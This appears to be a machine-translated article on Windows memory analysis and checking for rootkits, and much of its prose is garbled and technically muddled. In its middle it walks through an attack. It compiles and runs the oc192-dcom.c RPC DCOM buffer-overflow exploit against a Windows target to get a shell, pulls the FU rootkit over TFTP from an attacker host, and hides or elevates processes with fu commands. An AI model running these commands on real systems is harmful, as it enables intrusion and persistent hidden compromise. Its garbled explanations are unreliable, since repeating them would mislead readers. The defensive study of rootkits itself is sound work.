Memory analysis: how to perform integrity check

Rootkit Technology has developed rapidly since 2004. Many people find that rootkit uses both IDT (Interrupt Descriptor Table, Interrupt Descriptor Table) connection and DKOM (Direct Kernel Object Manipulation) to hide itself, these rootkits can be hidden in most executable programs without being discovered. Perhaps they are using a compression tool (packer) and an encryption tool (encryptor) to hide their ears. The encryption tool is a decoding algorithm that can be decompressed when the compressed image is loaded into the memory; the executable program may contain multiple engines that contain decryption tools. In short, rootkit cannot be noticed before it is loaded into the memory, and it is difficult to detect exceptions in the compressed image.

We can use the proof of concept to simulate DNS and try to monitor the connection of rootkit to the network server. When the rootkit communicates with the network server in the network traffic, it tries to record the system behavior. However, back to this theory, the memory analysis theory is based on the fact that the data location used by the operating system is different from that used to locate the data in the memory dump. RAM's physical memory is insufficient and cannot contain all running processes. In this way, the Windows Memory Manager needs to create a virtual address space to simulate a larger memory space, and the hardware unit of the microprocessor needs to depict the path from the virtual address space to the physical address. In short, memory analysis involves address resolution, but how can all this work form an integrity check?

Memory Analysis

Simulating a larger memory space is usually implemented as follows: create a virtual address space for each process and use the data structure (the main data structure is the page Directory and page table) interpret a virtual address space as a physical storage location. By using the data structure, the memory manager creates a so-called page table, while the CPU resolves the virtual address as a physical address. Each virtual address is in the same structure as the system space (PTE, page table entry) associated. The PTE contains the physical address referred to by the virtual address.

The amount of physical memory that can be provided to system processes is called a Working Group. Therefore, each process starts with an empty working group or a zero Working Group. Working groups also increased as the process began to constantly touch virtual addresses. When windows manages the system memory, the Working Group needs to calculate the physical memory size required by the process. They calculate the memory size and page memory rate by recording the process behavior. When the memory manager thinks that the Working Group is large enough, it will first clear the old jobs, that is, those that have not been used for a long time. When such information is cleared, it is not destroyed or deleted because it represents the data records used by the process. Therefore, windows stores these pages in different directories, including:

Free page list;
Zero page list;
Modified page list;
Standby list

When windows clears a memory page from the worker process group, the cleaned processes do not indicate that they no longer need space. It should be clear that if a page is modified, it must be written. If a process writes data to a page, the page belongs to this process, which means it does not belong to the shared memory. Any memory that can be shared in Windows can be shared, including code and DLL, but not data. The data written in Notepad belongs to the notepad process, and other processes cannot access the data. At the same time, remember that processes represent an application instance for the system. However, because applications need to describe their code and data to virtual address spaces, operating systems, and device drivers, as well as the data used in kernel mode, this means that windows Memory protection separates the user-mode address space from the kernel mode. If a user mode thread needs to call the system, you need to use the DLL function call function to transition to the kernel mode. So, if we have installed a rootkit, how will we perform the integrity check? You need to consider this. The text part is read-only, so the Code does not need to be modified. Check the code part and the system driver (kernel module) of the key system DLL) the corresponding PE files in the memory and disk are the same, and do not forget to reposition them.

Page file size Problems

Instead of simply multiplying the RAM size by 1.5, it is best to calculate the total memory of all private bytes and then multiply it by 1.5. Most people will naturally perform a full memory dump when checking for malware in the system, but when the system crashes or breaks down, the problem basically occurs in the kernel mode. The device driver is the only way to enable the CPU to open all hardware I/O Ports. However, windows drivers have never directly accessed physical devices. As a HAL function of the interface or address bus type, it can transmit the required information to the driver to complete the path. It shares the same thing with rootkit: algorithms are used. They all use code to modify themselves without being discovered. They are all heuristic. They all use the theory that files can be hidden in NTFS file systems by replacing data streams and Directive conversions. During loading, Rootkit will change its own name to create a service (which means they communicate with SCM) without being discovered, only when they have been discovered and written to a signature can they be discovered. Even so, we have reason to think that the valid rootkit tool will check whether the kernel code is modified: whether the. text of the Ntoskrnl.exe and HAL. dll kernel components are consistent with the disk Kernel File. Note that. text refers to the part of the Code (cs register), which may be because the code self-repair function can replace some hardware-related functions to meet the actual hard disk situation.

Let's assume that frequent writes to rpc dcom Buffer vulnerabilities, such as code named oc192-dcom.c, we download the code to our Linux ISO Play System, but first we need to start the TFTP server and run it, the UDP protocol used by TFTP can be configured to bypass the firewall (such as DNS/53), so it can transfer files back and forth:

#! /Usr/local/sbin/atftpd -- daemon -- user group root/tftp
Check and see if the server is up and running:
#! Ps-A | grep atftpd
Go the/usr/local directory
Now we will compile the code, oc192-dcom.c into a binary executable called dcomattack:
#! Gcc-o dcomattack oc192-dcom.c
Run the buffer overflow.
#! ./Dcomattack-d [Windows Target IP]-t0
You have spawned a shell!
#! Tfp-[Linux Attack IP] PUT FU.exe

In Windows 2003 and later versions, the TFTP client is installed by default and is enabled in Vista SP1. We upload a FU rootkitexample with two fu.exe and msdirectx. sys files running as one file but not bundled. Fu.exe acts as the IOCTL's through the msdirectx. sys driver, so that once the driver is loaded, no special privileges are required. Msdirectx. sys is a driver that is responsible for all work and will not be uninstalled until the next restart. Now, FU can hide any driver, just as it hides all processes. If you want to send IOCTL's to the driver, you need to set a handle (the unique tag assigned to the file that allows the program to enter ). FU does not want to hide or delete this symbolic link, which is used to open the access mark to the hidden driver. There is a view tag on the menu bar of the Process Explorer tool. In this tag, you can select "select bar". Here you can click the handle tag and select all options. The entry mark is created when the process thread needs to access the resource and open the resource. The entry mark is the value that the thread uses to communicate with the resource each time ). However, msdirectx. the sys driver may delete the symbolic link when hiding the driver. This driver has many purposes and can modify any process group, in this way, you can enter the following code for the Process System:

Fu-pss # process_pid System

Other issues needing attention

We should be able to monitor our processes and images. We should look for a stranger's API system for adjustment and check the supervisor's query service program (svchost.exe rundll32.exe ). The filtering function of the Process Monitor Tool allows you to operate on all recent user activities and registry item changes. If you capture a malicious hidden Process, you can put it into the disassembly program and save its code. Because no matter whether the code is linked to an IDT table or directly accessed using the kernel module (DKMA), it is indirectly connected to IRQL. The user-mode code runs at IRQL PASSIVE_LEVEL. When the system code is executed, it runs at DISPATCH_LEVEL (interrupt level). In this case, it can be used to enable the scheduler. DISPATCH_LEVEL has the lowest software interruption level. However, if a thread is to be replaced, IRQL is increased to DISPATCH_LEVEL, but the calling program is disabled.

Then the thread will be allowed to be executed throughout the operation, and then re-enable the calling program. This basically tells the scheduler to find another thread to run outside of the privileged thread. Now, if the device driver and scheduler run the program, it will be allocated to the paging pool buffer, release the buffer, and then try to connect to the page. It will read until the page ends, any illegal operation will cause the system to crash, the screen basket screen, and the destruction of physical memory. This vulnerability may also cause the windows Device Driver to load at Ring 0, which means that any device driver can modify the windows Kernel I/O.